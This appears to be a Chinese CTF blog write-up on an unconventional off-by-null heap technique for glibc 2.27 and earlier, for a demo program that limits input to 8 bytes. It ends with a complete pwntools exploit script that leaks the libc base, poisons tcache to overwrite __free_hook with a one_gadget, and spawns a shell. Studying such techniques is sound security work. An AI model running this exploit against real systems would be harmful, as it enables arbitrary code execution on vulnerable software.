Single

off by null非常规解法(libc-2.27及以下)

常规2.27以下的off by null多半是通过手工输入伪造pre_size来达成堆块重叠

但有些时候,比如输入长度被限制住时,就需要其他的途径来伪造pre_size

demo程序(2.27-3ubuntu1.2_amd64):

new:

delete:

show:

最麻烦的无疑是读入的content被限制在了8个字节,并且malloc和free时都会清空区块内的内容

显然,传统的手工输入伪造pre_size的方法在此处并不适用

首先进行简单的堆布局:

在此时分配一个chunk,并让此chunk触发off by null,此时的堆结构:

此时,如果再分配chunk对free_chunk进行切割,根据free_chunk_size会修改0x5579b4751560处的值为新的pre_size

而通过进行后向合并时所需要的pre_size以及pre_inuse标志位都不会被更改

通过free掉idx4触发后向时,也一样会寻址到0x5579b4751360即idx1处,即idx1下面的chunk也会被放入unsortedbin中

此时便完成了堆块重叠的构造

剩下的即为常规的泄露以及程序流的劫持

exp:

from pwn import*
r=process('./main')
context.log_level='debug'

libc=ELF('./libc-2.27.so')

def new(idx,size,content):
	r.recvuntil('>> ')
	r.sendline('1')
	r.recvuntil('Index: ')
	r.sendline(str(idx))
	r.recvuntil('Size: ')
	r.sendline(str(size))
	r.recvuntil('Content: ')
	r.send(content)

def delete(idx):
	r.recvuntil('>> ')
	r.sendline('2')
	r.recvuntil('Index: ')
	r.sendline(str(idx))

def show(idx):
	r.recvuntil('>> ')
	r.sendline('3')
	r.recvuntil('Index: ')
	r.sendline(str(idx))

for i in range(11): new(i,0x108,'a'*0x8)

for i in range(4,11): delete(i)

delete(0)
delete(1)
delete(2)

for i in range(4,11): new(i,0x108,'a'*0x8)

new(0,0x108,'\n')

new(1,0x108,'a'*0x8)
new(2,0xe8,'a'*0x8)

for i in range(4,11): delete(i)

delete(1)
delete(3)

for i in range(4,11): new(i,0x108,'a'*0x8)
new(1,0x108,'a'*0x8)

show(2)
libc_base=u64(r.recvuntil('\x7f')[-6:]+p16(0))-libc.sym['__malloc_hook']-0x70
success('libc_base: '+hex(libc_base))

malloc_hook=libc_base+libc.sym['__malloc_hook']
free_hook=libc_base+libc.sym['__free_hook']
one_gadget=libc_base+0xe56ff

new(12,0xe8,'a'*0x8)
delete(2)
delete(12)

new(0,0xe8,p64(free_hook))
new(1,0xe8,'a'*0x8)
new(2,0xe8,p64(one_gadget))

#gdb.attach(r)

delete(0)

r.interactive()

下载:

demo demo.py

暂无评论

发表评论